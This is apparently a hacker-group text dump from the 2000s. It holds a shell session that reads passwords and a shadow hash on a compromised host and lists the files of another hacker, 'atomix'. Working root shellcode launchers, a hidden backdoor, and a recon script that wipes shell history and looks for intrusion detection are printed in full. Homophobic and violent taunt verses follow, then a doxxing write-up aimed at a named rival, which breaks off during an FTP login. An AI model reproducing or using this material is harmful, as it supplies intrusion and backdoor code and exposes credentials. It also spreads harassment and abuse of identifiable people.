localhost ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxUlHUIBV1udKOGXIuwYinK6zovhFSzxTn1r1r8dSPLipLI0Ehsb4SrrVH/WD22t545Br/gt1S9TQSA0CknulryEH3In9Jt7paztFHUsSTxPn80obUhOTYgSzs1LIotbxi0gHU+BIxfNwoH/OB1jA2uEkLaRS98FZjTiDNiL2beM=
ns3.host1.biz,62.70.14.90 1024 41 104815528740090300232762682062148731692345617648761884893144749702438178716507602106384467348442332555726272229905090060865518152094220166348851874522827117669256069180699567468232805547620203421525417575684002027686936703327559508891840428578000903598085456851354927023314524854708653799840391129004567592229
reflux.dyndns.org,68.191.27.153 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2Ji9F2iqCcifDzgPgWSD8niWu2nOn4eFO4m8DKw6foPexaO1M8h2R51s08R9G5RzvpOCjnFNgH5nhQJ0j+cSAyIwFeIrfBUWUbnX9Nlm/vfxYNnNpOWZBHOV74FNvfEiw4xUpRVAzAm13gwKCKh1Bfp4CmYe96Eq5TzpyvyiL5c=
picard.infiniweb.ca,149.99.186.67 1024 41 104815528740090300232762682062148731692345617648761884893144749702438178716507602106384467348442332555726272229905090060865518152094220166348851874522827117669256069180699567468232805547620203421525417575684002027686936703327559508891840428578000903598085456851354927023314524854708653799840391129004567592229
sanctus.pe.kr,218.38.136.78 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAs7kQqbyNwmBC13NWuyOSKLpmMHgdyZLjnEOVbRghgg2Daz59m4Qeo1Us5bVwYGp2wOSxNBdHIAV6CfoOt6Fa5/VLC+qaAq1OVSyAVnk4O+xn8HgcDaixQn+MaGeUcFjIzW8IfwfCQbBE8sM24KrNHO7MtSv9fYHQ0ycOgGSzWos=
-jailshell-2.05b$ cat .htpasswds/store/admin/passwd
admin:J_8HKBHh7e9IA
-jailshell-2.05b$ cd ~/etc
-jailshell-2.05b$ ls -al
total 4
drwxr-x--- 4 theory mail 1024 Dec 3 14:07 .
drwx--x--x 14 theory theory 1024 Dec 10 15:42 ..
-rw-r--r-- 1 theory theory 0 Nov 24 22:11 .imapv4cp5c
-rw-r--r-- 1 theory theory 0 Nov 30 14:22 ftpquota
drwxr-x--- 2 theory theory 1024 Nov 24 21:09 habbohosting.info
drwxr-x--- 2 theory mail 1024 Dec 10 15:41 neftaly.net
-rw-r--r-- 1 theory theory 0 Nov 6 16:36 passwd
-rw-r--r-- 1 theory theory 0 Nov 6 16:36 quota
-rw------- 1 theory theory 0 Nov 6 16:36 shadow
-jailshell-2.05b$ cd neftaly.net
-jailshell-2.05b$ cat shadow
demon:$1$qbzJS0Cw$30tlKIbftODUkHllSRXHd0:::::::
-jailshell-2.05b$ cat passwd
demon:x:32013:515::/home/theory/mail/neftaly.net/demon:/usr/local/cpanel/bin/jailshell
-jailshell-2.05b$ ls -al ./atomix/code
total 107
drwxr-xr-x 2 theory theory 1024 Dec 8 07:28 .
drwxr-xr-x 20 theory theory 2048 Dec 10 09:14 ..
-rw-r--r-- 1 theory theory 1747 Jun 17 13:19 alpha.c
-rw-r--r-- 1 theory theory 1195 Jun 26 18:13 atomix-fake.c
-rw-r--r-- 1 theory theory 1767 May 20 2004 atomix-fill.c
-rw-r--r-- 1 theory theory 973 Jun 25 02:59 atomix-gothack.c
-rw-r--r-- 1 theory theory 945 May 20 2004 atomix-hex.c
-rw-r--r-- 1 theory theory 2916 May 20 2004 atomix-loginsaver.c
-rw-r--r-- 1 theory theory 3777 May 20 2004 atomix-nixfo
-rw-r--r-- 1 theory theory 257 Dec 8 07:28 atomix-replace.sh
-rw-r--r-- 1 theory theory 2500 Jun 19 15:59 baxdoor.c
-rw-r--r-- 1 theory theory 246 Sep 4 19:10 cutepatch.diff
-rw-r--r-- 1 theory theory 9303 Sep 29 2003 index.php
-rw-r--r-- 1 theory theory 603 Dec 8 07:29 md5.txt
-rw-r--r-- 1 theory theory 18580 Aug 7 15:28 nixfo-ng-1.2.tar.gz
-rw-r--r-- 1 theory theory 14248 Aug 14 16:44 nixfo-ng-1.3.tar.gz
-rw-r--r-- 1 theory theory 14418 Aug 24 17:24 nixfo-ng-1.4.tar.gz
-rw-r--r-- 1 theory theory 18751 Nov 15 08:53 nixfo-ng-1.5.tar.gz
-rw-r--r-- 1 theory theory 475 Sep 25 04:32 perlbuffer.c
-jailshell-2.05b$ cd ./atomix/exploits
-jailshell-2.05b$ ls -al
total 3
drwxr-xr-x 2 theory theory 1024 Dec 4 10:15 .
drwxr-xr-x 20 theory theory 2048 Dec 10 09:14 ..
-jailshell-2.05b$ cd ..
-jailshell-2.05b$ cd ..
-jailshell-2.05b$ ls -al
total 11
drwxr-xr-x 9 theory theory 1024 Dec 10 16:39 .
drwx--x--x 14 theory theory 1024 Dec 10 15:42 ..
-rw-r--r-- 1 theory theory 0 Dec 2 15:17 .htaccess
drwxr-xr-x 2 theory theory 1024 Dec 9 16:32 JaRed
drwxr-xr-x 20 theory theory 2048 Dec 10 09:14 atomix
drwxr-xr-x 2 theory theory 1024 Dec 9 17:09 cgi-bin
-rw-r--r-- 1 theory theory 134 Dec 9 16:43 index.php
drwxr-xr-x 2 theory theory 1024 Dec 7 12:38 nightstalker
drwxr-xr-x 2 theory theory 1024 Dec 10 16:39 pcwars
drwxr-xr-x 7 theory theory 1024 Nov 27 10:49 renthackers
drwxr-xr-x 2 theory theory 1024 Dec 10 12:53 x
-jailshell-2.05b$ cd atomix
-jailshell-2.05b$ cd code
-jailshell-2.05b$ ls -al
total 107
drwxr-xr-x 2 theory theory 1024 Dec 8 07:28 .
drwxr-xr-x 20 theory theory 2048 Dec 10 09:14 ..
-rw-r--r-- 1 theory theory 1747 Jun 17 13:19 alpha.c
-rw-r--r-- 1 theory theory 1195 Jun 26 18:13 atomix-fake.c
-rw-r--r-- 1 theory theory 1767 May 20 2004 atomix-fill.c
-rw-r--r-- 1 theory theory 973 Jun 25 02:59 atomix-gothack.c
-rw-r--r-- 1 theory theory 945 May 20 2004 atomix-hex.c
-rw-r--r-- 1 theory theory 2916 May 20 2004 atomix-loginsaver.c
-rw-r--r-- 1 theory theory 3777 May 20 2004 atomix-nixfo
-rw-r--r-- 1 theory theory 257 Dec 8 07:28 atomix-replace.sh
-rw-r--r-- 1 theory theory 2500 Jun 19 15:59 baxdoor.c
-rw-r--r-- 1 theory theory 246 Sep 4 19:10 cutepatch.diff
-rw-r--r-- 1 theory theory 9303 Sep 29 2003 index.php
-rw-r--r-- 1 theory theory 603 Dec 8 07:29 md5.txt
-rw-r--r-- 1 theory theory 18580 Aug 7 15:28 nixfo-ng-1.2.tar.gz
-rw-r--r-- 1 theory theory 14248 Aug 14 16:44 nixfo-ng-1.3.tar.gz
-rw-r--r-- 1 theory theory 14418 Aug 24 17:24 nixfo-ng-1.4.tar.gz
-rw-r--r-- 1 theory theory 18751 Nov 15 08:53 nixfo-ng-1.5.tar.gz
-rw-r--r-- 1 theory theory 475 Sep 25 04:32 perlbuffer.c
-jailshell-2.05b$ cat alpha.c
/* ++++++++++++++++++++++++++++++++++++++++++++++++++++++ *
* [ code presented to you by atomix ] *
+ [ ] +
+ [ does: + setresuid(0,0,0); ] +
+ [ ```` + write("[%] atomix says open sesame!\n\n"); ] +
+ [ + execve("/bin/sh", "/bin/sh", 0); ] +
- [ ] -
- [ since im not advanced in alphanumeric shellcode ] -
- [ creation yet, the following was just encoded from ] -
- [ a self made C/ASM source to do the 3 calls. ] -
* ++++++++++++++++++++++++++++++++++++++++++++++++++++++ *
*/
unsigned char shellcode[] =
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh2020X5"
"8080Ph040BX5QYUcPhA000X5aCUCPh5104X5ZAUZPh000AX5QICa"
"Ph00A0X5YHaCPh0054X5QDZYPh0A0AX5kdmaPh00ADX5nowxPTY1"
"9II19h0020X5BU9kPTYI19I19I19h0A00X50sOkPTYI19II19h00"
"00X5t000PTYIII19h0060X5kF9cPTYI19II19h00A0X5F4sOPTY1"
"9h0AA0X50plcPTYI19I19h0200X5w900PTYIII19h0000X50000P"
"h0A00X5wyusPTY19I19I19h0004X5MwByPTYI19II19h0000X500"
"0FPTY19I19h0000X5kBtpPTY19III19h04A0X5F8sOPTY19h0000"
"X50F7cPTYI19II19h0000X5u200PTYIII19h004AX5kByxPTY19I"
"19I19I19h04A0X5F8sOPTY19h0000X50F7cPTYI19II19h0D00X5"
"uZ00PTYIII19h004AX50ByvPTY19I19I19I19h0000X5q100PTYI"
"II19h000AX5VFuxPTY19I19I19I19h0000X54000Ph0000X5000p"
"PTY19I19h0000X5VDLrPTY19III19h4000X58jVjPTY19I19I19h"
"0000X57000Ph0000X5000vPTY19I19h0040X53BxPPTY19h000AX"
"5kBMvPTY19I19I19I19h00A0X500sOPTY19II19h0000X5ct00PT"
"YII19I19hAAAAX5pwplPTY19I19I19I19h0000X5k000PTYIII19"
"h0A60X5LZ9wPTY19h00D2X5kLx8PTY19III19h0000X50000Ph00"
"0AX5gfcVPTY19I19h500BX5ZeFXPTY19II19I19ÿä";
main() { void (*a)(); a = (void *)shellcode; a(); }
-jailshell-2.05b$ cat atomix-fake.c
/* atomix-shitbash.c
*
* talk about lame. this is like the worst i could do to make
* a fake bash program.. it works a little bit good. the only current
* problems is that when you use switches, (ex. id;uname -a) its gonna
* error on shit. nothings purfect but, u know its a tiny bit of a good
* decoy for someone lame? lol...
*
* greets: priv8security, m00 security, !tc, !sh, wgg, and all meh homies
* on efnet. love ya'll.
*
* contact: mail: honeynet AT gmail DOT com && atomix AT nix DOT org
* a t o m i x . w t f . l a <~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main() {
char cmd[30];
while(cmd != NULL) {
printf("sh-2.05b# ");
scanf("%s", &cmd);
if(strcmp(cmd, ";") == NULL) {
strtok(cmd, ";");
}
else if(strcmp(cmd, "-") == NULL) {
strtok(cmd, "-");
}
else if(strcmp(cmd, "id") == NULL) {
printf("uid=0(root) gid=0(root) groups=0(root),1(bin)2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)\n");
}
else if(strcmp(cmd, "exit") == NULL) {
exit(1);
}
else if(strcmp(cmd, "whoami") == NULL) {
printf("root\n");
}else{
execve("/bin/sh", "/bin/sh", system(cmd));
}
}
}
-jailshell-2.05b$ cat atomix-fill.c
/* 0x29a-fill.c coded by atomix.
* why did i code this? who knows... its just code.
* whats it do? appends garbage characters to a file. basically 'fill' it.
*
* not everything needs a reason. take these codes for instance:
*
* 1. Windows
* 2. Mirc
* 3. AOL
*
* lots of useless code, but people use it anyway!
*
* greets: !tc/!sh crews on #blackhats@efnet, #darknet@efnet, #nixsec@undernet
* and whoever knows me ;P...
*
* flames: itr, hes just some lame packet kid on #main@irc.itr-x.com
*
* contact? atomix@nix.org / atomix@hush.ai
*
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char garbage[] = "àâãäåæçèéêëìíîïñòóôõöùúûüýÿ";
int i,random;
FILE *filename;
if (argc == 3) {
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf(" 0x29a-fill.c by atomix \n");
printf(" appends garbage bytes to a file \n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
printf("[*] appending to file: %s...\n",argv[2]);
filename = fopen(argv[2],"a");
if(filename == NULL) {
printf("ERROR: Cannot Write To File!\n");
exit(1);
}
for(i=0; i<atoi(argv[1]); i++) {
random = garbage[rand() % strlen(garbage)];
fprintf(filename, "%c", random);
}
fprintf(filename, "\n");
fclose(filename);
printf("[!] appended %d bytes to %s.\n",atoi(argv[1]),argv[2]);
}
else
{
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf(" 0x29a-fill.c by atomix \n");
printf(" appends garbage bytes to a file \n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
printf("Usage : %s <bytes> <filename>\n",argv[0]);
printf("Example : %s 1024 loser.c\n\n",argv[0]);
}
}
-jailshell-2.05b$ cat atomix-gothack.c
/*
* %#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#
* yet another shellcode by atomix. does the following...
* setresuid(0,0,0); then writes "got hack?" to /etc/motd
* %#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#
* shellcode is non polymorphic and is for x86 Linux :):)
*
* contact?: e-Mail: atomix AT gmail DOT com &
* ```````` atomix AT nix DOT com
* IRC: #nixsec @ efnet
*
*/
char atomix[]= "\xeb\x40\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31"
"\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xaa\xcd\x80\x31\xc0\x31\xc9\x31"
"\xd2\xb0\x05\x89\xf3\x66\xb9\x42\x04\x88\x56\x09\xcd\x80\x8d\x4b"
"\x0a\x89\xc3\x31\xc0\xb0\x04\xb2\x09\xcd\x80\x31\xc0\x31\xdb\x40"
"\xcd\x80\xe8\xbb\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64"
"\x31\x67\x6f\x74\x20\x68\x61\x63\x6b\x3f";
main() { void (*f)(); (char *)f = atomix; f(); }
-jailshell-2.05b$ cat atomix-hex.c
/* 0x29a-hex.c
*
* stupid little program to convert ur string into
* hexadecimal form as well as back to a string
*
* by atomix - atomix [at] nix [dot] org
*
* $ gcc -o 0x29a-hex 0x29a-hex.c
* $ ./0x29a-hex
* Usage : ./0x29a-hex <string/hex> <type>
* Example : ./0x29a-hex eleet string
* $ ./0x29a-hex eleet string
* Plaintext : eleet
* Hexadecimal : 7a69
* $ ./0x29a-hex 7a69 hex
* Hexadecimal : 7a69
* Plaintext : eleet
*
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
if(argc < 3) {
printf("Usage : ./%s <string/hex> <type>\n",argv[0]);
printf("Example : ./%s eleet string\n",argv[0]);
printf(" Plaintext : eleet\n");
printf(" Hexadecimal : 7a69\n");
} else {
if(strcmp=="string")
{
printf("Plaintext : %s\n",argv[1]);
printf("Hexadecimal : %x\n",argv[1]);
}else{
printf("Hexadecimal : %x\n",argv[1]);
printf("Plaintext : %s\n",argv[1]);
}
}
}
-jailshell-2.05b$ cat atomix-loginsaver.c
/* 0x29a-loginsaver.c by atomix
*
* yet another lame tool. all it does is
* store your little logins towards your
* boxes. this is a very insecure thing
* to do if its on a hacked box. make sure
* its on a home box... a SECURE home box...
*
* code is based on hackinfo.c by tal0n
*
* probably in the future ill add encryption.
* i dont wanna do way too much work on this :P
*
* -> atomix [at] seljak [dot] org <-
* -> atomix [at] hush [dot] ai <-
* -> atomix [at] nix [dot] org <-
*
* i got a lot of emails. hm.
*
* ==================================
* NOTE NOTE NOTE NOTE NOTE NOTE NOTE
* ==================================
* dont use an integer for the service
* name. if its port 22, put ssh...
* integers were acting up with the
* optarg, and since i suck at coding
* at the moment, i couldnt fix it...
* as simple as it sounds. if u wanna
* improve, then email me or hint me.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void usage(char *prog)
{
fprintf(stderr, "\n + 0x29a-loginsaver.c by atomix +\n"
"--------------------------------------------------------------------\n"
"Usage : %s <-uphP> [-help]\n"
"Example : %s -u atomix -p loser -h localhost -P 22\n"
" %s -u atomix -p loser -h localhost -P 1524\n\n"
"\t-u <username> the username of the login.\n"
"\t-p <password> the password of the login.\n"
"\t-h <hostname> the hostname of the login.\n"
"\t-P <port> the port used for the login.\n"
"\t-help help.\n\n",prog,prog,prog);
exit(1);
}
int main(int argc, char **argv)
{
char *username;
char *password;
char *hostname;
int tservice = 0;
int start = 0;
int opt = 0;
while((opt = getopt(argc,argv,"u:p:h:P:help")) !=EOF) {
switch(opt)
{
case 'u':
username = optarg;
break;
case 'p':
password = optarg;
break;
case 'h':
hostname = optarg;
break;
case 'P':
tservice = atoi(optarg);
start = 1;
break;
case 'help':
printf("[%] Just read the usage jerk off =|...\n");
default:
usage(argv[0]);
break;
}
}
if(start == 1) {
FILE *thelog;
if((thelog = fopen("logins.txt","a")) == NULL) {
fprintf(stderr,"[!] cannot write to file 'logins.txt'.\n");
exit(1);
}
printf("[!] writing to file 'logins.txt'...\n");
fprintf(thelog,"***********************\n");
printf("[+] username ... %s\n", username);
fprintf(thelog,"USER : %s\n", username);
printf("[+] password ... %s\n", password);
fprintf(thelog,"PASS : %s\n", password);
printf("[+] hostname ... %s\n", hostname);
fprintf(thelog,"HOST : %s\n", hostname);
printf("[+] port ... %i\n", tservice);
fprintf(thelog,"PORT : %i\n", tservice);
fclose(thelog);
printf("[!] finished. entry added.\n");
}else{
usage(argv[0]);
}
}
-jailshell-2.05b$ cat atomix-nixfo
#!/bin/sh
#
# nixfo by atomix
#
# 1. gets some information about the linux system
# 2. unsets history for safety reasons
# 3. checks system for certain logging programs like IDS's
#
BLACK='\E[30;47m'
RED='\E[31;47m'
GREEN='\E[32;47m'
YELLOW='\E[33;47m'
BLUE='\E[34;47m'
MAGENTA='\E[35;47m'
CYAN='\E[36;47m'
WHITE='\E[37;47m'
DRED='\E[31m'
DGRN='\E[32m'
DYEL='\E[33m'
DBLU='\E[34m'
DMAG='\E[35m'
DCYN='\E[36m'
DWHI='\E[37m'
BOLD='\033[1m'
ULINE='\033[4m'
UBOLD='\033[0m'
alias rset="tput sgr0"
echo "[*] starting ..."
if [ -x /bin/egrep ]; then
if [ -x /bin/grep ]; then
if [ -x /bin/awk ]; then
unset HISTFILE
echo "[+] unsetting HISTFILE..."
unset HISTORY
echo "[*] unsetting HISTORY..."
unset HISTSAVE
echo "[*] unsetting HISTSAVE..."
unset HISTSIZE
echo "[*] unsetting HISTSIZE..."
unset HISTFILESIZE
echo "[*] unsetting HISTFILESIZE..."
echo " "
echo "[+] checking for installed apps..."
echo "[*] looking for Tripwire..."
if [ "`ps aux | grep tripwire | grep -v grep | awk '{print $1}' | head -1`" ]; then
echo -e "[!] ${DRED}${BOLD}Tripwire found!"
rset
fi
echo "[*] looking for TCPLogD..."
if [ "`ps aux | grep tcplogd | grep -v grep | awk '{print $1}' | head -1`" ]; then
echo -e "[!] ${DRED}${BOLD}TCPLogD found!"
rset
fi
echo "[*] looking for St. Michael..."
if [ "`grep -i stmichael /etc/inittab`" ]; then
echo -e "[!] ${DRED}${BOLD}St. Michael found!"
rset
fi
echo "[*] looking for Snort..."
if [ "`ps aux | grep snort | grep -v grep | awk '{print $1}' | head -1`" ]; then
echo -e "[!] ${DRED}${BOLD}Snort found!"
rset
fi
echo "[*] looking for LIDS..."
if [ -d /proc/sys/lids ]; then
echo -e "[!] ${DRED}${BOLD}LIDS found!"
rset
fi
echo "[*] looking for BitchX..."
if [ "-d `whereis bitchx`" ]; then
echo -e "[!] ${DRED}${BOLD}BitchX found!"
rset
fi
echo "[*] looking for Irssi..."
if [ "-d `whereis irssi`" ]; then
echo -e "[!] ${DRED}${BOLD}Irssi found!"
rset
fi
echo "[*] looking for GrSecurity..."
if [ "-d `uname -r|grep grsec`" ]; then
echo -e "[!] ${DRED}${BOLD}GrSecurity found!"
rset
fi
echo "[*] looking for passwordless accounts..."
if [ "`awk -F: '{ if ($2 == "") print $1 }' /etc/passwd`" ]; then
echo -e "[!] ${DRED}${BOLD}passwordless accounts found!"
rset
echo -e "[#] ${DRED}${BOLD}receiving usernames..."
rset
echo "`awk -F: '{ if ($2 == "") print $1 }' /etc/passwd`"
fi
echo " "
echo "[+] obtaining system information..."
echo " "
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
KERNEL=`uname -r`
if [ "`ls /etc|egrep -i version`" ]; then
DISTRO=`cat /etc/*version`
fi
if [ "`ls /etc|egrep -i release`" ]; then
DISTRO=`cat /etc/*release`
fi
PROCESSOR=`head -n 5 /proc/cpuinfo | grep name | awk -F: '{ print $2 }'`
OSTITLE=`uname -s`
USERCOUNT=`wc -l /etc/passwd | awk '{print $1}'`
USERSON=`/usr/bin/who | wc -l | awk '{print $1}'`
SUID=`/usr/bin/find /usr/bin /usr/sbin /bin /sbin -user root -perm -4000 -print | wc -l | awk '{print $1}'`
echo -e " [*] ${ULINE}Hostname${UBOLD} : `hostname -f` ($MYIPADDR)"
echo -e " [*] ${ULINE}OS Title${UBOLD} : $OSTITLE"
echo -e " [*] ${ULINE}Processor${UBOLD} :$PROCESSOR"
echo -e " [*] ${ULINE}Distro${UBOLD} : $DISTRO"
echo -e " [*] ${ULINE}Kernel${UBOLD} : $KERNEL"
echo -e " [*] ${ULINE}User Count${UBOLD} : $USERCOUNT"
echo -e " [*] ${ULINE}Users On${UBOLD} : $USERSON"
echo " "
echo -e " [*] ${ULINE}User${UBOLD} : `echo $USER`"
echo -e " [*] ${ULINE}UID${UBOLD} : `echo $UID`"
echo -e " [*] ${ULINE}Home Dir${UBOLD} : `echo $HOME`"
echo " "
echo -e " [*] ${ULINE}Suid Count${UBOLD} : $SUID"
echo " "
else
echo -e "[*] ${DRED}${BOLD}cannot find 'egrep'."
rset
fi
else
echo -e "[*] ${DRED}${BOLD}cannot find 'grep'."
rset
fi
else
echo -e "[*] ${DRED}${BOLD}cannot find 'awk'."
rset
fi
-jailshell-2.05b$ cat atoix-atomix-fake.c atomix-gothack.c atomix-loginsaver.c atomix-replace.sh
atomix-fill.c atomix-hex.c atomix-nixfo
-jailshell-2.05b$ cat atomix-
atomix-fake.c atomix-gothack.c atomix-loginsaver.c atomix-replace.sh
atomix-fill.c atomix-hex.c atomix-nixfo
-jailshell-2.05b$ cat atomix-replace.sh
#!/bin/bash
#
# atomix-replace.sh
# -----------------
# cmon, you know wat this does...
#
# by atomix (atomix.wtf.la)
#
if [ $# != 3 ]; then
echo "$0 <file> <old string> <new string>"
exit
fi
cat $1 | sed s/"$2"/"$3"/ > $1
echo "okay, done you lazy bum."
-jailshell-2.05b$ cat baxdoor.c
/* baxdoor by atomix
*
* greets: !tc/!sh, #priv8security, #m00, #wgg & #nixsec
*
* FAKE - masked process name (buggy cuz of shellcode exec)
* ENVAR - environment variable that stores magic word
* MAGIC - magic word to set in ENVAR
*
* the backdoor works by normally executing a shell, its kinda
* pointless if ur not root and is doing it in case your under
* an inappropriate shell. make sure its running in the background.
*
* remember, its not gonna execute anything unless you set the
* correct magic word in the environment variable thats defined.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#define ENVAR "TTYNAME"
#define MAGIC "baxdoored"
unsigned char shellcode[] =
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh2020X5"
"8080Ph040BX5QYUcPhA000X5aCUCPh5104X5ZAUZPh000AX5QICa"
"Ph00A0X5YHaCPh0054X5QDZYPh0A0AX5kdmaPh00ADX5nowxPTY1"
"9II19h0020X5BU9kPTYI19I19I19h0A00X50sOkPTYI19II19h00"
"00X5t000PTYIII19h0060X5kF9cPTYI19II19h00A0X5F4sOPTY1"
"9h0AA0X50plcPTYI19I19h0200X5w900PTYIII19h0000X50000P"
"h0A00X5wyusPTY19I19I19h0004X5MwByPTYI19II19h0000X500"
"0FPTY19I19h0000X5kBtpPTY19III19h04A0X5F8sOPTY19h0000"
"X50F7cPTYI19II19h0000X5u200PTYIII19h004AX5kByxPTY19I"
"19I19I19h04A0X5F8sOPTY19h0000X50F7cPTYI19II19h0D00X5"
"uZ00PTYIII19h004AX50ByvPTY19I19I19I19h0000X5q100PTYI"
"II19h000AX5VFuxPTY19I19I19I19h0000X54000Ph0000X5000p"
"PTY19I19h0000X5VDLrPTY19III19h4000X58jVjPTY19I19I19h"
"0000X57000Ph0000X5000vPTY19I19h0040X53BxPPTY19h000AX"
"5kBMvPTY19I19I19I19h00A0X500sOPTY19II19h0000X5ct00PT"
"YII19I19hAAAAX5pwplPTY19I19I19I19h0000X5k000PTYIII19"
"h0A60X5LZ9wPTY19h00D2X5kLx8PTY19III19h0000X50000Ph00"
"0AX5gfcVPTY19I19h500BX5ZeFXPTY19II19I19ÿä";
int main(int argc, char **argv) {
int i;
char *var;
char *bax = "int main(){setresuid(0,0,0);system(\"/bin/sh\");}\n"; //ignore this
//not in use
bzero(argv[0],strlen(argv[0]));
strncpy(argv[0],"-bash",strlen("-bash"));
var=getenv(ENVAR);
if(var==NULL) {
kill(getpid(),9);
}
if(strncmp(var,MAGIC,4)!=0) {
kill(getpid(),9);
}else{
void (*a)(); a = (void *)shellcode; a();
}
return 0;
}
-jailshell-2.05b$ cat perlbuffer.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
if(argc != 5) {
printf("usage: %s </path/to/program> <argument> <char> <size>\n",argv[0]);
printf("examp: %s /usr/sbin/test -l A 5000\n",argv[0]);
return -1;
}
unsigned char program = argv[1];
unsigned char argument = argv[2];
unsigned int size = atoi(argv[3]);
printf("%s %s `perl -e 'print \x22%s\x22x%s'`\n",argv[1],argv[2],argv[3],argv[4]);
}
-jailshell-2.05b$ cd ../s3cr3t-4dm1n-4r34/
at0m1x 1s s0 l4m3, 3y3 wr0t3 s0m3 p03try t0 3xpr3ss h0w tru3ly l4m3
h1s l1f3 1s (shut up! p03try 1s l33t).
itz k00l t0 h4ck y0ur sch00l.
it w0uld h4v3 b33n gr8 fun, but y0u d1dnt g3t 1nt0 0n3.
n0w s1tt1ng @ h0m3 w1th y0ur d1ck 1n y0ur azz, 4pply1ng cr34m t0 y0ur r4sh.
it r34lly 1z t00 b4d y0u g0t r4p3d by y0ur d4d.
m4yb3 n3xt y34r y0u'll t3ll bx y0ur qu33r.
m0v3 1n w1th h1m, g3t t0 put y0ur b4llz 0n h1s ch1n.
c0d3 s0m3 g4ys3x.c wh1l3 y0u w4tch h1m p33.
r1ght 1nt0 y0ur thr04t, 4nd 0n 4ll th3 c0d3 y0u just wr0t3!
h4v3 4 b1g f1ght, t3ll bx h1s butth0l3 41nt t1ght.
n0w 4ll 0n y0ur 0wn, w1th n0 4lb4n1an t0 b0n3 ;(
20.txt-~-~-~ hack em up
lyricz r l4m3, but y0u g3t th3 p0int!
Plus bx tryin' to see me weak
Shells I rip
TermCrew and l33tsecurity
Some owned ass bitches
We keep on 0wning
While we bruting for yah roots
Steady hax1ng
Keep on busting at them fools
You know the rules
Little worm go ask you homie
How i'll leave yah
Cut your albainian ass up
See yah in pieces
Now be deceased
Atomix,
Don't fuck around with real G's
Quick to snatch your bnc off IRC
So fuck peace
I'll let them k1dd1es know
It's on for Life
Don't let the h0no
Ride the night ha ha
Shcrew murdered on Wax and kill
fuck with me
And get your PIDS killed
You know, See
chorus
Grab your botnets when you see h0no
Call ircops when you see h0no, Uhh
Who ddosed me,
But, your lam3rs didn't finish
Now, you 'bout to feel the wrath of a menace
dotslash, I hax 'em up
blah blah blah
Get out the way yo
Get out the way yo
Shcrew just got dropped
Little move passed IDS
And let me r00t him in his back
bx needs to get owned right
For narqing on hackz
Little accident r00ters
And I ain't never heard of yah
Session-Hijack attack when I'm serving yah
I'm a self made Millionaire
h4x0r living outta chroot-jail
botnets in the Air {Air} Ha Ha
bx remember when I owned your shells and backdoored your box
And haxed Atomix and took all his d0x
Now its all about Slackware
You copied my style
5gb attaq couldn't drop me
I took it and smiled
Now I'm back to set the record straight
With my zer0-day
I'm still the blackhat that you love to hate
Mutha-fucka I'll Hax 'Em Up!!!!!
fuck you, rm slow mother fucker.
My fo' fo' make sure all yo child processes don't grow.
You mother fuckers can't be us or see us.
We mother fuckin' h0no riders.
ircs till' we die.
Out here in ircsnet, lamer
We warned ya'
We'll bomb on you mother fuckers.
We own your cron job.
I'm from ircsnet.
Where plenty of ownings occurs
No points to come
We bring drama to all you n3rds
Now go check the scenerio
Little worm
I'll bring you fake G's to yah knees
Copin' pleas with these
dvdman is yah
Coked up or doped up?
Get your l33tsecurity click smoked up
What the fuck?
Is you stupid?
I take roots,
crash and mash through efnet
With my click rooting, shooting, and polluting your box
21.txt-~-~-~ rotor got owned
This little kid has been pissing off way to many people lately.
Time to put this to an end.
###################################################################
[1] r0t0r info
[2] Checklist
[3] Killerz.org gets owned
[4] matts.homeunix.net owned
[5] Logs of r0t0r making an ass out of himself
[6] r0t0r's roots, ciscos and passwords! =)
[7] Conclusion
###################################################################
[1] This little kid wages stupid IRC wars and thinks he is leet just
because he can DoS attack.
No skills, no maners and no brain.
Im amazed that nobody has owned this kid before, after all he is ## I
guess I was wrong...
the most pathetic loud mouth little junkie that you can find on IRC.
Well.. maybe not but he is pretty pathetic.
[3] Probably aint interesting anymore..
He got really pissed for "roto-rooted".
Good job! =)
[2] r0t0r Check list
1. Own killerz
2. Own matts.homeunix.net
3. Find more shells and own them
4. Expose rotor as a fake and a drunk
5. Expose r0t0rs lame roots
6. Find his cisco's which he uses to DoS people
7. Get his passwords and see if I can find a naked pic of that girl he
is
messing around with.
I guess thats it for now. Lets get started
[3] He used to own "www.killerz.org" until that got taken over by #obs /
nesa / others(?)
But anyways.. lets log in and see what the dude has shall we? =)
$ ftp killerz.org
Connected to killerz.org (69.50.184.178).
220---------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 3 of 50 allowed.
220-Local time is now 14:59. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (killerz.org:root): killerz
331 User killerz OK. Password required
Password:
230-User killerz has group access to: killerz
230 OK. Current restricted directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls *
227 Entering Passive Mode (69,50,184,178,38,41)
150 Accepted data connection
-rw-r--r-- 1 32479 killerz 196079 Jan 13 01:17 FreeBSD.png
